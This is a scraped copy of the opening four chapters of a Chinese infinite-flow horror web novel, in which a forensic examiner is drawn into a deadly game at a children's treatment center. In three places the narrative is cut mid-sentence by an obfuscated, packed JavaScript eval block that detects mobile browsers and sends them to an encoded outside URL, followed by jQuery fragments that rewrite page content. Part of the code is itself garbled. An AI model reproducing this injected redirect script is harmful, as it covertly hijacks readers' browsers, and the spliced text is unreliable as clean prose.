《在无限流世界当影帝》 1. 人之初01 昏暗的房间内,男人身穿橙色囚服,踏着自己的生命倒计时,走向房间正中央孤零零摆放着的椅子。 狱警面无表情地走上前,动作熟练得近乎麻木,他双手迅速地解开男人手腕与脚踝处冰冷的链铐,金属碰撞的声音在这死寂的空间里格外刺耳。 随后,狱警抓起椅子上粗糙的皮带,将男人的四肢死死绑住。皮带嵌入男人的皮肤,伴随着皮肉与骨头被挤压,发出沉闷的“嘎吱”声。 泛着寒光的金属帽,稳稳地扣在了男人的头上。 “姓名?”狱警一边忙碌着手上的动作,一边例行公事般发问,声音冰冷而不带丝毫感情。 “吴钟。”声音粗糙而沙哑。 男人仿若一尊毫无生气的雕像,唯有那阴鸷的双眼隐匿在阴影之中,偶尔闪过一丝难以捉摸的幽光。 狱警顿了顿,接着问道:“是否有遗言要交代?” 男人沉思了一会儿,才缓缓开口。 “请帮我转告亲爱的隋医生,我为他留了一份珍贵的遗物,他一定非常喜欢……” ------------------------- 20:50,隋舟到达幸福路108号。他低头看向手中拿着的墨绿色卡片,正是下午被执行死刑的犯人留给他的遗物。而卡片正面写着一个时间和地点,背面写着的三个字——姜梦蝶。 姜梦蝶,是他一个月前死亡的,这个世界上唯一的亲人。 隋舟按照卡片上的时间地点到达,他静静站在路灯下,和眼前的建筑相对而立,他脸上没有任何表情,那种平静,仿佛他天生没有什么感情似的。 来之前,隋舟已查过资料,这里是一个私立儿童医院,曾经也辉煌过,但如今在消费降级的大背景下,也难逃颓势,只因附近有一家幼儿园偶有合作,也还算是没有关门大吉。 如今入了夜,医院也并不像其他一床难求的公立医院热闹,黑夜中,庞大的建筑更显落寞。 21:00,浓雾乍起,目之所及不过半米。隋舟伸出手摸了一把,却摸了空,立于他身旁的路灯竟然消失了! 隋舟皱眉感到了一丝诡异,往反方向后退了几步。 这一退,浓雾中隐隐约约出现一点亮光,隋舟犹豫了一下,向那亮光走去。 嘟—— 嘟—— 刚走了几步,手机震动。隋舟停下脚步查看,来信人写着市局柯队,内容是一张照片。 照片中是一条很浅的小溪,溪水中躺着一个女人,虽然她面色如常,但隋舟一看就知道,她已经死了。 照片下面紧跟着是来自柯航的留言: 【幽云大学发生命案,初步确定是他杀】 【大概一个小时后开会,小舟,你也来参加】 隋舟将照片原图点开,下载保存在相册之后,简单回复: 【今晚上我有点私事,参加不了,法医报告出来了通知我】 当他收好手机,再次抬头的时候,浓雾已经消散,自己依然站在儿童医院门前,但是那建筑物仿佛一瞬间变得老旧许多……而且,建筑的门前,已经零散地站着好几个人了。 门前的那些人,有单独站着的,也有两三成队的。除了一个女人头发凌乱,眼眶红肿以外,其他人看起来都对这样的景象见怪不怪、一脸漠然。 隋舟出现,他们也只是回头看了一眼,便不再注意。现在在场已经是七个人了,四男三女,看他们的样子还在等人。 隋舟观察完这些人之后,又看向那建筑外挂着的牌,木牌损坏严重,天也黑了,上面的字只能看清几个,什么市什么儿什么中心…… “是儿童医院。”一个戴眼镜的很温柔的女人开了口:“我到那会儿光线还挺亮的,所以看清楚了”。 “啧。儿童+医院,这次副本听起来就够麻烦。”一个鸭舌帽的男人听到女人的话后一脸烦躁地说。 就在这时候,隋舟看到另一侧又缓缓走来一个人,所有人都看了过去,只见新来这人仿佛刚参加完什么大型典礼一般,身穿一袭价值不菲的定制套装,头发梳得一丝不苟,一双眼睛隐藏在眉骨的阴影下看不真切,额头有一道细长的红色疤痕一直延伸到右眼眼角处,他面无表情,给人很难接近的印象。 隋舟看着眼前的男人,第一反应就是看起来很有钱,第二反应就是应该不好惹。最后得出结论,离他远一点。 一个靠墙站着的小个子男人伸了个懒腰说:“应该是到齐了吧。” 不远处单独站着一个女人,她似乎身体抱恙,一脸病容,听到小个子男人的话后,女人往医院门口走了几步,然后回头小声催促:“那我们就赶快进去吧……毕竟,天已经黑了……” 话虽然是这样说着,可大家的脚步挪动得依然缓慢。 隋舟送过太多死刑犯走上电椅,他们走向电椅的脚步也是如此沉重。 那是一种明确知道死亡已经降临到了自己头上的绝望的步伐…… “第一夜,总是会死人的。”那西装男走在最前面,突然回头对大家说道:“你们就算不进去在这外面,也难以逃脱。” 西装男虽言语傲慢,但说得没错,一行人逐渐加快了步伐。 “你不怕吗?”忽然,走在隋舟身边戴眼镜的女人问:“你看起来真冷静,我已经经历很多次了,但还是双腿发抖。” 戴眼镜的女人看着隋舟的脸,太平静了,甚至不是冷静而是平静……女人刚想再说什么,忽然就看到眼前男人的表情变得生动起来,他的嘴巴微微向下,眉头微蹙,刚才那双黑沉无光的双眸也闪着恐惧的光。 “害怕,我这个人就是反射弧太长。”隋舟说着仿佛脚步都沉重起来:“其实我也是,无论多少次都难以适应。” 眼镜女愣了愣,看着隋舟的表情感觉实在是真实,仿佛刚才平静的人真的是吓傻了似的,叹了口气:“你说,怎么就把我们选中了呢?” 就在这时候,不远处传来一个女人打招呼的声音,大家向医院里面看去,一个身穿护士服的女人正站在不远处,微笑地看着大家,等待着他们的到达。 一行人不再拖沓,只能硬着头皮进入医院。走近后才发现那女护士还是很年轻,估摸着二十六七的样子,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164067|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他们走到眼前,护士开门见山,直接自我介绍起来:“我是市儿童治疗中心的护士长,大家路途辛苦,院长让我负责这次的接待。” 隋舟听着护士长的话,发现大家仿佛对这种场景见怪不怪。 “请大家前来,最主要的原因是我们治疗中心缺人手,目前有八个儿童没有人照顾,需要你们来一对一照顾。 第二个原因,同时也是我们中心缺人手的原因。”说到这里,护士长脸上公式化的笑容消失,取而代之的是浓浓的忧虑,她缓了缓说:“最近中心经常有人离奇死亡,所以请大家来也是希望可以帮忙找到凶手。” “今天时间很晚了,先早点休息吧。宿舍房间都在三楼,卧室外已经贴了名牌,每个人卧室对面的房间,就是你们各自照顾的小孩的房间,小孩已经送到房间了。” 大家面面相觑,今天时间确实已经有点晚了,夜晚是很危险的,按照护士长说的早点到卧室是对的,可正当大家准备离开的时候,护士长突然又开了口:“在大家上楼之前,我还要宣布一些规则。” “规则”这个词语出现的瞬间,隋舟明显感觉到所有人都突然严肃了起来。 护士长自顾说道:“一、除了儿童休息和治疗时间外,除非得到儿童同意,否则大家必须时刻和儿童在一起。 二、所有集体活动都有广播提示,必须按时参加,集体活动时间严禁擅自行动。 三、儿童治疗一共7天,那之后大家的工作就结束,结束之前不得离开。 那么现在大家请前往宿舍休息吧。”护士长说完话之后根本不给大家提问的机会转身就离开了。 人群中一个男人大声怒道:“真倒霉!老子最讨厌小孩了!” 隋舟看过去,是之前那个脾气暴躁的鸭舌帽男人。 听到他的抱怨,没有任何人附和,大家自顾自的往楼上走去。 三楼的布局,是一条长长的走廊,走廊两侧十六间房间两两相对,每边八间房,左边贴着他们名字的是各自宿舍,对面的则是对应孩子们住的房间。隋舟走过去,发现第一间就贴着自己的名字,而对面孩子的房间门口却没有贴上孩子们的名字。 隋舟推开小孩的房门,卧室很小,只有一张床,一个书桌,书桌上放着一本安徒生童话书,一个看起来六七岁的女孩躺在床上,她看到隋舟走过来,用被子遮住自己的下巴,睁着两只大眼睛就这样看着隋舟,也不说话。 隋舟调整了一下脸上的五官,露出一个自认为友善的笑容,先开了口:“你好。我叫隋舟。从今天开始,我就是你在这个儿童中心治疗期间的负责人了。” 女孩看着他,还是保持沉默没有说话。 隋舟想到孩子们房间门上没有名牌,便问道:“你叫什么名字?” 女孩沉默半晌,终于开口说道:“01号。” 隋舟耐心解释道:“我是说你的名字,不是编号。” 女孩又往被子里缩了缩,只露出了两只大大的眼睛,她听到隋舟的问题后,奶声奶气的声音从被子里传了出来,她说:“我没有名字,他们都叫我01号……” 2. 人之初02 隋舟脸上的笑容消失,没有名字、或者说名字是编号这件事显然不正常,但是这小孩的表现却如司空见惯一般……这里面肯定有猫腻。但是他才刚进入这里,连这里到底是什么都不知道,联想到刚才眼镜女说这里一不小心就会触碰禁-忌,便先将疑惑按下,等小孩睡着后,关上灯。隋舟决定先回自己房间,安心过了今夜再从长计议。 隋舟刚走到自己房间门口,他又听到了那个鸭舌帽暴躁的吼骂声,听起来仿佛在让小孩睡觉,但小孩或许惹他生气了,换来一顿打骂,隋舟不愿意多事,赶紧进屋关上了门。 玩家们的宿舍和小孩的房间一模一样,小小的房间让隋舟想起自己小时候的房间,那时候他和姜梦蝶就住的同一间卧室。隋舟坐在书桌旁,他从衣服兜里拿出那张属于姜梦蝶的通行卡,墨绿色的通行卡在昏暗的灯光下几乎呈现黑色。 可看清通行卡的一瞬间,隋舟却恍惚了一下,他记忆中的卡片正面姜梦蝶却消失了,取而代之的是他自己的名字——隋舟。他连忙将卡片翻转,果然背面的时间地点也消失了,那里的内容变成了一行银色的小字,内容写着:“今晚没有人赢、没有人会胜利地离开”。 隋舟脑中疑虑更甚,他可以确定这里发生的一切一定突破了他二十多年以来的认知。 “第一夜,总是会死人的。”那位傲慢西装男的话突然在隋舟脑海里炸开,“会死吗?”隋舟将通行卡收好,和衣躺下。一瞬间,疲惫席卷而来,心中积蓄着的浓浓谜团不断敲打着他追赶着他,让他的心脏仿佛被一只大手使劲捏住无法跳动……半梦半醒中,隋舟呢-喃:“放心,在找到真相前,我绝对不会死的……” 睡意来得汹涌,隋舟不知道自己是怎么睡着的,但他却是被一阵哭声吵醒的,那是非常微小压抑的哭声。隋舟摸黑起床,静悄悄地向声音传来的方向——走廊方向走去。他静静地靠在门边,仔细听着外面走廊上传来的声音。 咚咚咚咚咚咚…… 突然,一阵急促杂乱的脚步声从远处跑来,杂乱的脚步声中还夹杂着另一种更重一点的咚声,声音更沉重,频率更低,两种咚咚咚中间还夹杂着一阵摩擦拖拽的声音。 隋舟紧紧靠着门,听到那脚步声逐渐到达自己门口,又咚咚咚地跑远,隋舟依然一动不动,连呼吸都放轻到几不可闻。他自己也不知道过了多久,直到一切万籁俱静,隋舟才轻轻地将门打开了一条缝…… 昏黄灯光下的走廊看不太清晰,但是老旧木板地板上仿佛有什么深色的印记……咔嚓——很小的声音响起,隋舟抬头,看到他斜对面房间的门动了一下。 那间房……隋舟记得自己昨晚上楼的时候刚好看到西装男走进去,是西装男孩子的房间…… 紧接着,他果然看到那西装男从对面房间出来,然后又是很小的咔的关门声,西装男回到了自己房间。 ------------------------------- 接下来到天亮的几个小时是睡不着的,隋舟就躺在床上挺到了天亮,不过还好没有再发生奇怪的事。 “叮铃铃—— 叮铃铃—— 叮铃铃—— ——请所有人半个小时后带着孩子到食堂用早餐—— ——请所有人半个小时后带着孩子到食堂用早餐——” 广播响起,这是属于集体活动,按照护士长说的规则,集体活动是必须参加的,隋舟想起昨夜走廊看不清的痕迹,夜里他当然不敢冒险,但是现在离集体活动还有半小时正好可以先行查看一下,这样想着他赶紧推开门查看,却发现走廊上干干净净,什么都没有。正当他继续仔细查看时,却忽然听到一声尖叫,紧接着是什么东西被撞到的声音。隋舟迟疑了一下,随即看到各房间门都打开了,大家表情都很凝重。 “哪里的声音?” “发生什么事了?” “听起来像是走廊尽头……” “盥洗室那边!” 紧接着所有人都往走廊尽头的盥洗室走去,隋舟也跟了上去。可他还未走到却看到有人从盥洗室冲了出来,然后蹲在一旁吐了起来。 看来不仅出事,情况还不容乐观。隋舟快步走到盥洗室门口,只见众人围在盥洗室门外仿佛不敢进去,只有那西装革履的男人在盥洗室里面。 隋舟从缝隙中钻了进去,却看到一具小小的尸体躺在地上。 而他身后传来跟着他一起钻进来的儒雅男疑惑的声音:“怎么死的会是……这……这不应该啊!!!” “对啊……怎么回事?” “这……这太奇怪了吧!” 老玩家不可置信的声音此起彼伏,听了一会儿大家的说辞,隋舟总结出来他们惊讶的原因——他们一直都有一个夜晚很危险的共识——玩家在夜里死亡这件事很常见,但是不正常的是,夜晚死的不是玩家,而是……NPC。 隋舟上前检查眼前的尸体。之所以一眼就知道死者不是玩家,是因为这具尸体属于一个七八岁的孩子,但是他并不能确定这是否是他们八人孩子中的一个。只见尸体的脖子上有一圈深红印记,显然是被什么勒住了脖子,但经过检查,隋舟很快认定这并不是致命伤,孩子脸色乌青,整个头像是浸泡在水里过似的,他真正死因是溺水,通过尸体僵硬程度和尸斑判断,死亡时间不超过三个小时。 此时大部分人都站在盥洗室门外围观,进入盥洗室里面的只有三个人,分别是儒雅男、西装男和隋舟,那西装男看他自然检查尸体的模样,淡淡说道:“你胆子很大,参加过很多副本了?” 隋舟来了这里虽然情绪一直很稳定,但是却极少表现自己,所以在其他人眼里,他要么就是参加过一两次虽然已适应游戏但没什么主见的老白玩家,要么就是城府极深的资深玩家。西装男这话显然是对他的试探。隋舟抬头看向那西装男,只见他一双眼却深邃冷漠,高大的身材极具压迫感。隋舟继续埋头检查,检查完后才起身看了自己沾了鲜血的手一眼,他再抬头的时候,却是换了一副模样——脸色发白,嘴唇发抖,隋舟咽了咽口水极度害怕的样子:“我……我其实很害怕……我就是反应慢……”说着他低头又看了一眼尸体,这一眼仿佛要了他的命一般,他脚步悬浮地走了几步刚好走到男人身后,他一把拉住男人衣角:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164068|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太害怕了,我们出去吧。” 男人皱眉看向眼前的人,看他脸色完全不像是演的,可是刚才冷静检查尸体,也是真的。难道真像他说的反应慢? “你不出去,那我先走了。”隋舟说完松开扯着的男人的西服,步履不稳地走了出去。 男人看着隋舟离开的背影,总感觉有什么不对劲,他低头看去,发现自己深色西装上有一块深色的印记——是隋舟手上的血迹。 男人:“……” 而这时候,也蹲下认真看着尸体的儒雅男,突然犹豫着开口:“这孩子……这好像是薛燥的那个孩子!” “薛燥?”围观人反问:“谁是薛燥”。 “就是那个脾气很暴躁的鸭舌帽男人。”儒雅男说:“他住我隔壁,我看到门上名牌。” “啊……” “他人呢?他怎么不在?” 这会儿,除了鸭舌帽男薛燥以外的玩家全部在这里了,并且他负责的孩子死亡在这里,他本人却还没有出现,大家顿时心中生出一些不太好的想法。 “他不会出事了吧?”眼镜女有些担心地问。 儒雅男说:“那我们去他房间看看。” 一行人转移到了薛燥房间前面,他的房间虚掩着,隋舟刚走到门口就神色一变,因为他已经闻到从里面传出来的浓烈的血腥味,大家立即将门打开,门后的景象确实让当场的众人惊吓到呆愣在了原地。 隋舟这次没有上前,只是和人群站在一起远远查看了一下,只见薛燥上身赤-裸,衣服被脱下整齐地叠放在旁边,如今已是被地上流淌的鲜血染红,而他的心脏位置被挖了一个洞,而心脏被挖出放在衣服上,可奇怪的是那心脏被破坏过,留下一小块不规则的破坏印记。可让隋舟在意的是,薛燥的尸体脖子上也有一圈红色的勒痕,也并非致命伤。 眼前的尸体和刚才那儿童的尸体有着巨大的不同,可不同中却夹着这一点小小的相同。 为什么? 这令隋舟感到了一丝诡异的不和谐之感…… “走吧。”儒雅男提议:“别忘了昨夜护士长说的规则,集体活动必须参加,时间差不多了,我们先带孩子去食堂。” “尸体不管吗?”新人女显然很害怕,躲在最后也不敢看,轻声问了一句。 儒雅男一愣,旋即说道:“不用管,规则自会处理。” 规则,规则,隋舟已经听到很多次规则这个词……看来在这里,规则二字应当是相当重要。 离开的时候,隋舟从西装男旁边经过,男人迅速侧了侧身,生害怕被他碰到。 隋舟皱眉,这才发现他已经脱掉外套,现在只穿着衬衣和马甲。发现得还挺快……隋舟不禁给眼前的人打上了反应灵敏以及对人的不信任度很高的标签。 一行人早上去出事现场的时候都很默契地没有叫醒孩子,现在各自回到卧室领上孩子后,都准时到达了食堂,除了那个西装男一个人前来。 “你孩子呢?”西装男旁边坐着正是眼镜女,她好心提醒道,“昨天规则说,除了睡觉和治疗,其他时间都要带上孩子,否则就违反规则了……” 3. 人之初03 西装男听到这个问题,眼皮都没抬一下,随口回答:“他啊,还在睡觉,叫不起来。” 眼镜女虽然纳闷这孩子怎么这么能睡,但本就是随口提醒,这种地方管好自己就不错了,便点点头,算是结束对话。 人到齐之后,他们将孩子们放在隔壁桌吃饭,玩家们则围坐在一张桌子。 儒雅男因为气质稳重,年纪较长,不经意间已经成为了众人中的领导者。他率先开了口:“趁着早饭时间,我认为大家应该先认识一下,此次游戏最长还有6天,大家还需要齐心协力共渡难关。认识一下彼此也好称呼。” “6天……为什么?”新人女小声问道。。 儒雅男很有耐心地解释道:“因为昨夜护士长说,7天后孩子们结束治疗,暗示了这次副本限时是7天,昨天虽然我们晚上才到,但是一般会算作一天的,所以我们最长还有6天。” 至于为什么6天是“最长”这一点,大家都心知肚明,但是新人女显然不明白,问:“那如果6天结束后呢?” “你可以试试。”瘦弱男嘲讽地笑了笑:“不过可能你没什么机会,因为你这种问题很多的新人,往往都死得很快。” 新人女一听吓得浑身都在颤抖,他旁边的眼镜女拍了拍他肩膀以示安慰。 儒雅男打破尴尬氛围,继续接着之前的提议说了起来:“我先自我介绍一下吧,我叫袁秉谦,是大学老师。” 袁秉谦旁边坐着眼镜女,从昨夜来看,他们俩应当是认识,眼镜女接着介绍说:“我叫童思静,袁老师是我的导师。” 在这种游戏中,并不是一定要暴露队友关系,但是这次人员里面,除了他们两人,其他人看起来完全互不认识,所以表明两人是队友关系,给人释放一种他们人多势众的感觉反而是有必要的。 因为童思静是这里唯一对新人女不错的人,所以新人女便是时刻跟着童思静。她看起来一夜没睡,眼眶下面青黑一片,刚才又被老玩家嘲讽了一番,这会儿低头小声说道:“我叫毕薪,刚大学毕业。” 坐在新人毕薪旁边的瘦弱男简短介绍“我叫吴崂”便不再多说。 吴崂旁边是那个病弱的女人,女人看起来四十岁左右,仿佛现实生活中过得并不顺利一般,一身疲惫、一脸病容,他和隋舟一样,从来了这里就几乎很少说话,但是她绝不是新人。这会儿看大家都看着她,便开口简单说道:“鲍芙迎,家庭主妇。” 鲍芙迎旁边便是隋舟,这一局副本是实名游戏,所以名字便是最不重要的东西了。隋舟摆出一副友好的笑容向大家介绍了自己的名字,其他信息也没有透露。 最后是那个西装冷漠男更简短地介绍自己:“陆行。” 一圈介绍完毕,本次游戏人员也很明朗。玩家四男四女,孩子们也是四男四女。而现在最让人在意的就是,为什么死的人里会有孩子? 儒雅男继续主持会议:“不如大家一起讨论一下,为什么死的不只是玩家,甚至还死亡了一个NPC小孩?或许以前有人遇到过这种情况吗?” “我之前从未遇到这种事。就算有NPC死亡,一般也是死于剧情,而不是这种像玩家一样的死亡。”令人没想到的是瘦弱男吴崂率先加入了讨论。 他这句话刚说完,坐在他旁边的眼镜女童思静猛地站起来,一脸惊恐地说道:“等等!这些孩子……不会也是玩家吧?!” 这话一出,大家均是愣了一下,全部扭头看向那些孩子们…… 孩子们并未注意他们的讨论,只是围着一桌正安静地吃着早饭,有些关系好时不时聊天,有些就一个人安安静静地吃着。 “应该不是。”病弱女鲍芙迎冷静地说道;“如果小孩也是我们这样的人,不会是这样的表现,他们很明显是程序中的人,也就是NPC。” “也对。小孩进来不是秒死吗……这破副本还不至于这么丧心病狂。” “这个问题没什么好讨论的。”陆行这时幽幽开,:“在这里,死的是谁并不重要。” 毕薪猛地抬头怒目,他好像不能接受有人竟如此无情。 “死的是谁并不重要?”毕薪精神显然有些崩溃,大吼起来:“那你说,到底什么才是重要的?” 陆行无所谓地摊手:“事实如此,比起死的是谁,为什么死更加重要。” 一句话毕,席间竟然是沉默。因为他说得很是正确,甚至点醒了大家。 “对,我们应该关注死亡规则。”袁秉谦说完看向大家说:“薛燥和他的小孩……哦,这样称呼比较方便应该没关系吧……大家知道他们俩昨夜有没有什么反常事情发生?” 在这里,发生任何事情都可能带着某种指向,他们一对一分配了小孩,如今小孩和大人一对在同一-夜一起死亡,他们是不是碰触了什么禁-忌才导致了这样的结果呢? “昨天大家来了没多久就分开了,我感觉没发生什么啊。”大家回忆着,七嘴八舌说道。 “回房间之前大家都是在一起的,应当没有什么事,但是回房间之后……就不是很清楚了。” “除了他脾气大一点,我也没发现和大家有什么不同。” “难道这次没有规则全凭运气?” “不会的。”袁秉谦道:“游戏没有死局,一定是有规则的,只要找到规则就能一定程度地规避死亡。” 隋舟从昨夜观察到现在,感觉基本摸清了这个所谓的“游戏”,决定不再过于沉默,否则会有些奇怪,便对着大家微微笑着说道:“大家不好奇他们死亡的时间吗?” 或许这是隋舟来到这里第一次加入讨论,大家都愣了一下,才看了过去。 大家看着眼前的男人,说实话,不论是男人出众的外形还是独特的气质,想要被人忽略掉应该是很难的,但是奇怪的是,在他说话之前,男人仿佛有意识地让自己存在感减弱一般,让人忽略了玩家中有一名这么亮眼的人。 “死亡时间不是昨晚上吗?”那瘦弱男吴崂问道。 “嗯。”隋舟友善地耐心回答:“可是,夜晚的时间是很长的。” 童思静恍然道:“你是说他们死亡的先后顺序?” 隋舟微微一笑:“当然。根据他们的僵硬程度和尸斑判断,那孩子的死亡时间是3个小时前,大人死亡时间是1个小时前。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164069|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴崂:“可是……这能说明什么?” 这个问题看来也是大家的问题,一时之间所有人都看着隋舟,等待着他的回答。 隋舟看了一圈大家,才缓缓说道:“暂时不知道能说明什么,但是既然是孩子先死,大家又在讨论禁忌的问题,有没有可能,这个碰触禁忌的不是薛燥,而是他的孩子呢?” 隋舟一说,大家的思路仿佛瞬间被打开,表情都发生了变化。而隋舟没管大家,只继续说道:“既然一对一分配了小孩,那么这个小孩的身份一定是重要的,就算不是玩家,在故事里也和我们是一体的,所以他们碰触禁忌后违反了规则死亡,也是有可能的对吗?” “确实。”陆行仿佛想起什么有趣的事,深邃的眸子里闪过一丝看不明白的情绪,好似一边思索着措辞一边缓慢说道:“以前不是也有玩家利用规则玩弄NPC甚至……操纵NPC杀死其他玩家的事吗?所以NPC犯了禁-忌也会死,这确实是可能的。” 隋舟一愣,玩家可以利用规则杀害NPC,甚至可以杀害其他玩家??他这句话接在这里实在是有些可疑,完全有挑衅之嫌疑,他是故意的?他在试探自己? 其他人也是沉默……毕竟玩家杀玩家这件事就这样毫无征兆地被捅破,显得大家目前的友好实在有些尴尬。只有毕薪听到这句话的时候,几乎彻底崩溃…… “为什么?为什么玩家要害死玩家?”毕薪怒吼:“大家不是应该齐心协力一起通关吗?为什么?“ 看她已经失控,童思静立马拉她先坐下,说道:“你先别激动,这游戏只要有一个人找到答案,大家都可以出去,所以团队协作才是利益最大化的。玩家杀害玩家这样的事情是极端个例,很少发生,没那么容易遇到!” 陆行又要说话,却被隋舟抢了先:“希望大家针对现在遇到的线索发言,否则就没必要一直在这讨论,不如出去多找找线索。” 陆行被呛却根本不恼,旋即便点头礼貌开口:“隋先生说得非常正确,既然大家如此团结,分享一下提示语也是应当的吧。” 提示语…… 这个词语一出,其他人均是一阵恍然地表情。 “对啊……大部分副本都是有一个玩家会提前拥有提示语的。”袁秉谦问道,“为了大家尽快通关,请问提示语在谁那里呢?可否共享一下?” 隋舟不知道什么是提示语,也只好静静等待。 毕薪听到有提示语助于通关,情绪好像终于好了一点问:“提示语是什么?” “是对当局副本的总结或者核心提示,非常重要,有时候你理解了提示语,可能这一关的谜底也就揭晓了。”童思静耐心解释。 可是半晌也没人有动静,袁秉谦便说道:“不好意思,那就只好我们大家都把通行卡拿出来了。” 说着他率先拿出了通行卡翻到了背面…… 隋舟看向袁秉谦的通行卡,突然愣住,他一瞬间便明白了提示语是什么!袁秉谦的通行卡背面空白一片,什么也没有!——显然所谓的提示语就是通行卡背面的那句话! 而自己就是那个有提示语的人…… 4. 人之初04 隋舟看向陆行,他是故意的?使用如此一招,倒是显得自己故意不愿意和大家共享通行卡一般……可是他怎么会知道提示语在自己这里?更奇怪的是,他怎么知道自己不懂提示语的含义? 所以——他既知道自己有提示语,而且也知道自己是新人?才说这些话来试探自己?可是他如何知道的? 还是说……这一切当真只是巧合? 所有人都将通行卡拿出来背面朝上,只剩下隋舟,隋舟只好硬着头皮将通行卡背面朝上放在了桌子上。 “好呀,装得一副正义的样子,结果你不愿意共享。”瘦弱男吴崂像只猴子一样一下子蹦了起来,大喊着指责隋舟。 隋舟看着陆行,他的表情依然冷若冰霜,但是那双眼睛好似藏着什么情绪,静静地看向自己。 “被误解了呢。”隋舟皱眉露出一副难过的表情,他黑黝黝的眼神扫了一圈大家,才用抱歉的语气说道:“我只是不想跟某些别有用心的人共享罢了。”说罢,眼神刚好落在陆行脸上。 一时之间大家发现了两人不太对付,但是才刚来,也不知道两人怎么结了仇。袁秉谦仍然是那个尴尬氛围缓和者,立马将隋舟的通行卡拿起说:“我相信隋先生一定不是这样的人。那么,大家还是先一起赶紧看看本局的提示语吧。” 五分钟之后…… “今晚没有人赢、没有人会胜利地离开……”童思静皱着眉:“这句话太宽泛了……” 几乎所有人在看到这句话之后都有些失望。一般来说提示语都有非常具体的内容,但是这次这句话实在宽泛,甚至可以说每一个副本都可以用这句话……能说明什么呢? “确实,从前从未遇到这样的提示语。”袁秉谦也非常失望,只得先行将通行卡还给了隋舟。 大家巨大的希望瞬间破灭。隋舟看着那行字,他之前还以为这句话是整个游戏的slogan之类的,确实没想到这行字竟只是针对此副本的提示语。既然如此,这句提示语想来应当不是字面这么简单,而且不知为何,他总觉得这句话有些熟悉。 正在这时候,护士长出现在饭厅,看到她出现,那些吃饭的孩子全部擦了小嘴巴后跑到了护士长身边。 玩家们也看向护士长,隋舟也已经明白,护士长就是那种重要NPC,她的作用除了推动剧情,她说的话也是很有用。 护士长对大家笑了笑:“大家辛苦了,接下来我就带这些孩子去治疗了,大家也可以放松一下,可以在医院到处转转。”说着她回头看了看孩子,然后又对玩家问道:“怎么只有六个孩子?” “07号还在睡觉,醒了我自己送他去治疗吧。”陆行镇定地回答。 护士长好像没遇到过这样的情况,思索了一会儿点头答应了,又问:“那还有一个呢?我看看是哪个……嗯……03号呢?” 听到这个问题,所有人脑海里出现了盥洗室的小孩尸体,一瞬间脸色都变了, 护士长一看他们的脸色,瞬间明白了一般,脸色一黑,扭头喊了一个小护士将六个孩子们带走,然后自己急匆匆地往楼上走去。 可当小护士带着孩子们刚好要走出去的时候,一个小男孩突然回头对毕薪说道:“毕姐姐,我的床单麻烦你洗一下哦,如果晚上不换干净的,会没法休息的。” 毕薪听到这话,脸色一变,浑身开始发抖,她仿佛虚脱了一般,等小孩被护士刚带走,她便急切地抓着身边的人问道:“这……这算不算异常?对……我的小孩……昨晚尿床了,尿、尿床算不算异常?下一个是不是轮到我了?!” 袁秉谦安慰道:“这样吧,等会儿我和你一起把床单拿到洗衣房去。” “我那个小孩也尿床了。”病弱的鲍芙迎脸色不太好,接着话说道。 “那应该不是了,因为我负责的08号也尿床了,不可能这么多人同时出事。”童思静说道:“等会儿我们一起去洗床单吧。” 袁秉谦点头:“时间不早了,刚进来也没有什么具体线索,大家都分头按照各自想法先随处探索吧。我建议不要单独行动,最好有人一起。” 说完他可能怕毕薪不明白,不等他问就解释道:“一个人的话,可能出去的是人,回来的……” 话不用说得太明白,大家自然都懂。 吴崂笑嘻嘻地走到陆行旁边说:“我想和这位陆先生一起,他看起来就很厉害的样子。”说着转头看向陆行:“可以吗?陆先生。” 陆行撇眼看了他一眼:“随便。” 吴崂也不觉得这个回答不够意思,只觉得得到同意,立马跟着陆行身后出去了。 鲍芙迎看了一眼剩下的人只有隋舟,便说太多人去洗衣服也是浪费,于是拜托童思静帮自己的床单拿去一起洗,然后邀请隋舟和自己组一组。隋舟自然是答应了。 隋舟等其他人都离开后,才问鲍芙迎有没有什么想法?鲍芙迎表示自己暂时还没有想到去哪里最好,或许可以随便逛逛。 隋舟摇了摇头:“时间紧迫,这个儿童治疗中心我们所在的主楼就有四层楼,几十个空间,隔壁还有东西两栋楼,除外还有院落,乱逛没有意义,我们要有重点。” 鲍芙迎面容本就疲惫,如今眉头一皱更显沧桑。 隋舟开口说:“你不好奇护士长他们嘴里所谓的治疗室吗?” 鲍芙迎一愣,随即犹豫道:“那里确实应当非常重要,但是往往这种地方也伴随着更大的危险。” “不入虎穴焉得虎子。”隋舟望向出口,用鼓励的口吻说道:“没事,走吧。” 